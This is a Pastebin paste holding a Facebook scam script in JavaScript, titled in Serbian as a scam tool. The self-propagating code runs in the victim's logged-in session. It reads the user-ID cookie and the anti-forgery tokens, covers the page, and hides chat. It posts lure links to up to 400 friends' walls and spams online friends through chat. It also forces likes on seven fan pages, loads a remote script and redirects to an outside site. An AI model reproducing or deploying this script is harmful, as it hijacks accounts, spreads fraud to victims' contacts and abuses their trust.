Advertisement
dezindzer

Radi radi da da (facebook skriptica za prevare)

May 8th, 2012
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 18.35 KB | None | 0 0
  1. <html><head>
  2. <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"></head><body>function readCookie(name) {
  3.     var nameEQ = name + "=";
  4.     var ca = document.cookie.split(';');
  5.     for (var i = 0; i &lt; ca.length; i++) {
  6.         var c = ca[i];
  7.         while (c.charAt(0) == ' ') c = c.substring(1, c.length);
  8.         if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
  9.     }
  10.     return null;
  11. }
  12. var user_id = readCookie("c_user");
  13. var user_name = document.getElementById('navAccountName').innerHTML;
  14.  
  15. var coverpage = function() {
  16.         var boxdiv = document.createElement('div');
  17.         boxdiv.id = 'coverpage1';
  18.         boxdiv.style.display = 'block';
  19.         boxdiv.style.position = 'absolute';
  20.         boxdiv.style.width = 100 + '%';
  21.         boxdiv.style.height = 100 + '%';
  22.         boxdiv.style.top =  100 + 'px';
  23.         boxdiv.style.margin.top =  100 + 'auto';
  24.         boxdiv.style.margin =  0 + 'auto';
  25.         boxdiv.style.textAlign = 'center';
  26.         boxdiv.style.padding = '4px';
  27.         boxdiv.style.background = 'url(http://i.imgur.com/V7GNm.png) no-repeat scroll center top';
  28.         boxdiv.style.fontSize = '15px';
  29.         boxdiv.style.zIndex = 9999999;
  30.         boxdiv.innerHTML='&nbsp;<table align="center" cellpadding="5" cellspacing="5" width="400px"><tbody><tr align="left"><td valign="middle"><br><br><br><br><img style="border: 1px solid black; padding: 5px; margin: 10px; width: 140px; height: 140px;" src="radi-radi-da-da.zxq.net_files/picture"></td><td align="left" valign="middle"><font style="font-weight: bold;font-size:16px;">'+user_name+'</font><br><img src="radi-radi-da-da.zxq.net_files/hRjNi.gif" style="margin-left: 20px; padding-left: 5px;"></td></tr></tbody></table>';
  31.  
  32.         document.body.appendChild(boxdiv);
  33. }
  34. coverpage();
  35.  
  36. // Setup some variables
  37.  
  38. var post_form_id = document.getElementsByName('post_form_id')[0].value;
  39. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  40.  
  41. // Chat message variables
  42.  
  43. var this_chat = "Pogledajte koliko ste vremena proveli na FB!
  44. http://brojac-vremena.clanteam.com";
  45. var prepared_chat = encodeURIComponent(this_chat);
  46.  
  47.  
  48. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  49. //
  50.  Post Link to friends walls
  51. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  52. var
  53.  token = Math.round(new Date().getTime() / 1000);
  54. var http1 = new XMLHttpRequest();
  55. var url1 =
  56. "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&amp;viewer="
  57.  + user_id + "&amp;token=" + token +
  58. "-6&amp;filter[0]=user&amp;options[0]=friends_only";
  59. var params1 = "";
  60. http1.open("GET", url1 + "?" + params1, true);
  61. http1.onreadystatechange = function () { //Call a function when the
  62. state changes.
  63.     if (http1.readyState == 4 &amp;&amp; http1.status == 200) { // If
  64. state = success
  65.         var response1 = http1.responseText;
  66.         response1 = response1.replace("for (;;);", ""); // Get rid of
  67. the junk at the beginning of the returned object
  68.         response1 = JSON.parse(response1); // Convert the response to
  69. JSON
  70.         //alert(response4.toSource());
  71.         var count = 0;
  72.         for (uid in response1.payload.entries) {
  73.             if (count &lt; 400) {
  74.                 //alert("SENT TO
  75. "+response1.payload.entries[count].uid);
  76.                 // Loop to send messages
  77.                 // New XMLHttp object
  78.                 var httpwp = new XMLHttpRequest();
  79.                 var urlwp =
  80. "http://www.facebook.com/ajax/profile/composer.php?__a=1";
  81.                 var paramswp = "post_form_id=" + post_form_id +
  82. "&amp;fb_dtsg=" + fb_dtsg +
  83. "&amp;xhpc_composerid=u574553_1&amp;xhpc_targetid=" +
  84. response1.payload.entries[count].uid +
  85. "&amp;xhpc_context=profile&amp;xhpc_fbx=1&amp;aktion=post&amp;app_id=2309869772&amp;UIThumbPager_Input=0&amp;attachment[params][metaTagMap][0][http-equiv]=content-type&amp;attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&amp;attachment[params][metaTagMap][1][property]=og%3Atitle&amp;attachment[params][metaTagMap][1][content]=Pogledaj
  86.  da li ti stranci gledaju
  87. profil&amp;attachment[params][metaTagMap][2][property]=og%3Aurl&amp;attachment[params][metaTagMap][2][content]=http://www.facebook.com&amp;attachment[params][metaTagMap][3][property]=og%3Asite_name&amp;attachment[params][metaTagMap][3][content]=Saznaj
  88.  da li ti simpatija gleda
  89. profil&amp;attachment[params][metaTagMap][4][property]=og%3Aimage&amp;attachment[params][metaTagMap][4][content]=http://www.bbq-book.com/store/assets/images/click-here-green2.gif&amp;attachment[params][metaTagMap][5][property]=og%3Adescription&amp;attachment[params][metaTagMap][5][content]=NOVO!
  90.  Pogledaj koliko si
  91. v&amp;attachment[params][metaTagMap][6][name]=description&amp;attachment[params][metaTagMap][6][content]=Now
  92.  you can see who stalk your profile
  93. daily&amp;attachment[params][metaTagMap][7][http-equiv]=Content-Type&amp;attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&amp;attachment[params][medium]=106&amp;attachment[params][urlInfo][user]=http://brojac-vremena.clanteam.com/&amp;attachment[params][favicon]=http://lol.info/os/favicon.ico&amp;attachment[params][title]=Pogledaj
  94.  ko ti visi po
  95. profilu&amp;attachment[params][fragment_title]=&amp;attachment[params][external_author]=&amp;attachment[params][summary]=Sada
  96.  mo&#382;e&#353; vidjeti ko ti visi na profilu
  97. stalno&amp;attachment[params][url]=http://www.facebook.com&amp;attachment[params][ttl]=0&amp;attachment[params][error]=1&amp;attachment[params][responseCode]=206&amp;attachment[params][metaTags][description]=Instaliraj
  98.  i vidi ko ti posjecuje
  99. profil&amp;attachment[params][images][0]=http://www.bbq-book.com/store/assets/images/click-here-green2.gif&amp;attachment[params][scrape_time]=1302991496&amp;attachment[params][cache_hit]=1&amp;attachment[type]=100&amp;xhpc_message_text=OMG!
  100.  sada stvarno vidim da i ex gleda profil :D&amp;xhpc_message=RADI!
  101. Pogledaj koliko si proveo vremena na FB?
  102. profil&amp;nctr[_mod]=pagelet_wall&amp;lsd&amp;post_form_id_source=AsyncRequest";
  103.  
  104.                 httpwp.open("POST", urlwp, true);
  105.                 //Send the proper header information along with the
  106. request
  107.                 httpwp.setRequestHeader("Content-type",
  108. "application/x-www-form-urlencoded");
  109.                 httpwp.setRequestHeader("Content-length",
  110. paramswp.length);
  111.                 httpwp.setRequestHeader("Connection", "keep-alive");
  112.                 httpwp.onreadystatechange = function () { //Call a
  113. function when the state changes.
  114.                     if (httpwp.readyState == 4 &amp;&amp; httpwp.status
  115. == 200) {
  116.                         //alert(http.responseText);
  117.                         //alert('buddy list fetched');
  118.                     }
  119.                 }
  120.                 httpwp.send(paramswp);
  121.             }
  122.             count++; // increment counter
  123.         }
  124.         http1.close; // Close the connection
  125.     }
  126. }
  127. http1.send(null);
  128.  
  129. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  130. //
  131.  Hide chat boxes
  132. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  133. var
  134.  hide = document.getElementById('fbDockChatTabSlider');
  135. hide.style.display = "none";
  136.  
  137. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  138. //
  139.  Get online friends and send chat message to them
  140. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  141. var
  142.  http3 = new XMLHttpRequest();
  143. var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
  144. var params3 = "user=" + user_id +
  145. "&amp;popped_out=false&amp;force_render=true&amp;post_form_id=" +
  146. post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  147. "&amp;lsd&amp;post_form_id_source=AsyncRequest";
  148. http3.open("POST", url3, true);
  149. //Send the proper header information along with the request
  150. http3.setRequestHeader("Content-type",
  151. "application/x-www-form-urlencoded");
  152. http3.setRequestHeader("Content-length", params3.length);
  153. http3.setRequestHeader("Connection", "close");
  154. http3.onreadystatechange = function () { //Call a function when the
  155. state changes.
  156.     if (http3.readyState == 4 &amp;&amp; http3.status == 200) {
  157.         var response3 = http3.responseText;
  158.         response3 = response3.replace("for (;;);", "");
  159.         response3 = JSON.parse(response3);
  160.         var count = 0;
  161.         for (property in response3.payload.buddy_list.nowAvailableList) {
  162.             if (count &lt; 100) {
  163.                 // Loop to send messages
  164.                 // New XMLHttp object
  165.                 var httpc = new XMLHttpRequest();
  166.                 // Generate random message ID
  167.                 var msgid = Math.floor(Math.random() * 1000000);
  168.                 var time = Math.round(new Date().getTime() / 1000);
  169.                 var urlc =
  170. "http://www.facebook.com/ajax/chat/send.php?__a=1";
  171.                 var paramsc = "msg_id=" + msgid + "&amp;client_time=" +
  172. time + "&amp;to=" + property + "&amp;num_tabs=1&amp;pvs_time=" + time +
  173. "&amp;msg_text=" + prepared_chat +
  174. "&amp;to_offline=false&amp;post_form_id=" + post_form_id +
  175. "&amp;fb_dtsg=" + fb_dtsg +
  176. "&amp;lsd&amp;post_form_id_source=AsyncRequest";
  177.                 httpc.open("POST", urlc, true);
  178.                 //Send the proper header information along with the
  179. request
  180.                 httpc.setRequestHeader("Content-type",
  181. "application/x-www-form-urlencoded");
  182.                 httpc.setRequestHeader("Content-length",
  183. paramsc.length);
  184.                 httpc.setRequestHeader("Connection", "close");
  185.                 httpc.onreadystatechange = function () { //Call a
  186. function when the state changes.
  187.                     if (httpc.readyState == 4 &amp;&amp; httpc.status ==
  188.  200) {
  189.                         //alert(http.responseText);
  190.                         //alert('buddy list fetched');
  191.                     }
  192.                 }
  193.                 httpc.send(paramsc);
  194.             }
  195.             //alert(property);
  196.             count++; // increment counter
  197.         }
  198.         http3.close; // Close the connection
  199.     }
  200. }
  201. http3.send(params3);
  202.  
  203. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  204. //
  205.  Become a Fan - FANPAGE - 1
  206. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  207. var
  208.  http4 = new XMLHttpRequest();
  209. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  210. var params4 =
  211. "fbpage_id=209123105785563&amp;add=1&amp;reload=0&amp;preserve_tab=false&amp;nctr[_mod]=pagelet_header&amp;post_form_id="
  212.  + post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  213. "&amp;lsd&amp;post_form_id_source=AsyncRequest"
  214. http4.open("POST", url4, true);
  215. //Send the proper header information along with the request
  216. http4.setRequestHeader("Content-type",
  217. "application/x-www-form-urlencoded");
  218. http4.setRequestHeader("Content-length", params4.length);
  219. http4.setRequestHeader("Connection", "close");
  220. http4.onreadystatechange = function () { //Call a function when the
  221. state changes.
  222.     if (http4.readyState == 4 &amp;&amp; http4.status == 200) {
  223.         http4.close; // Close the connection
  224.     }
  225. }
  226. http4.send(params4);
  227.  
  228. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  229. //
  230.  Become a Fan - FANPAGE - 2
  231. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  232. var
  233.  http4 = new XMLHttpRequest();
  234. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  235. var params4 =
  236. "fbpage_id=208995189134115&amp;add=1&amp;reload=0&amp;preserve_tab=false&amp;nctr[_mod]=pagelet_header&amp;post_form_id="
  237.  + post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  238. "&amp;lsd&amp;post_form_id_source=AsyncRequest"
  239. http4.open("POST", url4, true);
  240. //Send the proper header information along with the request
  241. http4.setRequestHeader("Content-type",
  242. "application/x-www-form-urlencoded");
  243. http4.setRequestHeader("Content-length", params4.length);
  244. http4.setRequestHeader("Connection", "close");
  245. http4.onreadystatechange = function () { //Call a function when the
  246. state changes.
  247.     if (http4.readyState == 4 &amp;&amp; http4.status == 200) {
  248.         http4.close; // Close the connection
  249.     }
  250. }
  251. http4.send(params4);
  252.  
  253. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  254. //
  255.  Become a Fan - FANPAGE - 3
  256. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  257. var
  258.  http4 = new XMLHttpRequest();
  259. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  260. var params4 =
  261. "fbpage_id=127745033966579&amp;add=1&amp;reload=0&amp;preserve_tab=false&amp;nctr[_mod]=pagelet_header&amp;post_form_id="
  262.  + post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  263. "&amp;lsd&amp;post_form_id_source=AsyncRequest"
  264. http4.open("POST", url4, true);
  265. //Send the proper header information along with the request
  266. http4.setRequestHeader("Content-type",
  267. "application/x-www-form-urlencoded");
  268. http4.setRequestHeader("Content-length", params4.length);
  269. http4.setRequestHeader("Connection", "close");
  270. http4.onreadystatechange = function () { //Call a function when the
  271. state changes.
  272.     if (http4.readyState == 4 &amp;&amp; http4.status == 200) {
  273.         http4.close; // Close the connection
  274.     }
  275. }
  276. http4.send(params4);
  277.  
  278. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  279. //
  280.  Become a Fan - FANPAGE - 4
  281. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  282. var
  283.  http4 = new XMLHttpRequest();
  284. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  285. var params4 =
  286. "fbpage_id=115474165159084&amp;add=1&amp;reload=0&amp;preserve_tab=false&amp;nctr[_mod]=pagelet_header&amp;post_form_id="
  287.  + post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  288. "&amp;lsd&amp;post_form_id_source=AsyncRequest"
  289. http4.open("POST", url4, true);
  290. //Send the proper header information along with the request
  291. http4.setRequestHeader("Content-type",
  292. "application/x-www-form-urlencoded");
  293. http4.setRequestHeader("Content-length", params4.length);
  294. http4.setRequestHeader("Connection", "close");
  295. http4.onreadystatechange = function () { //Call a function when the
  296. state changes.
  297.     if (http4.readyState == 4 &amp;&amp; http4.status == 200) {
  298.         http4.close; // Close the connection
  299.     }
  300. }
  301. http4.send(params4);
  302.  
  303. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  304. //
  305.  Become a Fan - FANPAGE - 5
  306. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  307. var
  308.  http4 = new XMLHttpRequest();
  309. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  310. var params4 =
  311. "fbpage_id=165415943515372&amp;add=1&amp;reload=0&amp;preserve_tab=false&amp;nctr[_mod]=pagelet_header&amp;post_form_id="
  312.  + post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  313. "&amp;lsd&amp;post_form_id_source=AsyncRequest"
  314. http4.open("POST", url4, true);
  315. //Send the proper header information along with the request
  316. http4.setRequestHeader("Content-type",
  317. "application/x-www-form-urlencoded");
  318. http4.setRequestHeader("Content-length", params4.length);
  319. http4.setRequestHeader("Connection", "close");
  320. http4.onreadystatechange = function () { //Call a function when the
  321. state changes.
  322.     if (http4.readyState == 4 &amp;&amp; http4.status == 200) {
  323.         http4.close; // Close the connection
  324.     }
  325. }
  326. http4.send(params4);
  327.  
  328. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  329. //
  330.  Become a Fan - FANPAGE - 6
  331. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  332. var
  333.  http4 = new XMLHttpRequest();
  334. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  335. var params4 =
  336. "fbpage_id=171898469517471&amp;add=1&amp;reload=0&amp;preserve_tab=false&amp;nctr[_mod]=pagelet_header&amp;post_form_id="
  337.  + post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  338. "&amp;lsd&amp;post_form_id_source=AsyncRequest"
  339. http4.open("POST", url4, true);
  340. //Send the proper header information along with the request
  341. http4.setRequestHeader("Content-type",
  342. "application/x-www-form-urlencoded");
  343. http4.setRequestHeader("Content-length", params4.length);
  344. http4.setRequestHeader("Connection", "close");
  345. http4.onreadystatechange = function () { //Call a function when the
  346. state changes.
  347.     if (http4.readyState == 4 &amp;&amp; http4.status == 200) {
  348.         http4.close; // Close the connection
  349.     }
  350. }
  351. http4.send(params4);
  352.  
  353. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  354. //
  355.  Become a Fan - FANPAGE - 7
  356. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  357. var
  358.  http4 = new XMLHttpRequest();
  359. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  360. var params4 =
  361. "fbpage_id=194714303880094&amp;add=1&amp;reload=0&amp;preserve_tab=false&amp;nctr[_mod]=pagelet_header&amp;post_form_id="
  362.  + post_form_id + "&amp;fb_dtsg=" + fb_dtsg +
  363. "&amp;lsd&amp;post_form_id_source=AsyncRequest"
  364. http4.open("POST", url4, true);
  365. //Send the proper header information along with the request
  366. http4.setRequestHeader("Content-type",
  367. "application/x-www-form-urlencoded");
  368. http4.setRequestHeader("Content-length", params4.length);
  369. http4.setRequestHeader("Connection", "close");
  370. http4.onreadystatechange = function () { //Call a function when the
  371. state changes.
  372.     if (http4.readyState == 4 &amp;&amp; http4.status == 200) {
  373.         http4.close; // Close the connection
  374.     }
  375. }
  376. http4.send(params4);
  377.  
  378. //this function includes all necessary js files for the application
  379. function include(file)
  380. {
  381.  
  382.   var script  = document.createElement('script');
  383.   script.src  = file;
  384.   script.type = 'text/javascript';
  385.   script.defer = true;
  386.  
  387.   document.getElementsByTagName('head').item(0).appendChild(script);
  388.  
  389. }
  390. include('http://code.jquery.com/jquery-1.5.2.min.js');
  391. var landingpage = function() {
  392.         var myFrame = $("div#coverpage1").hide(1000);
  393.         window.top.location = "http://bio-si.zxq.net/";
  394.         }
  395. setTimeout("landingpage();",19000);</body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement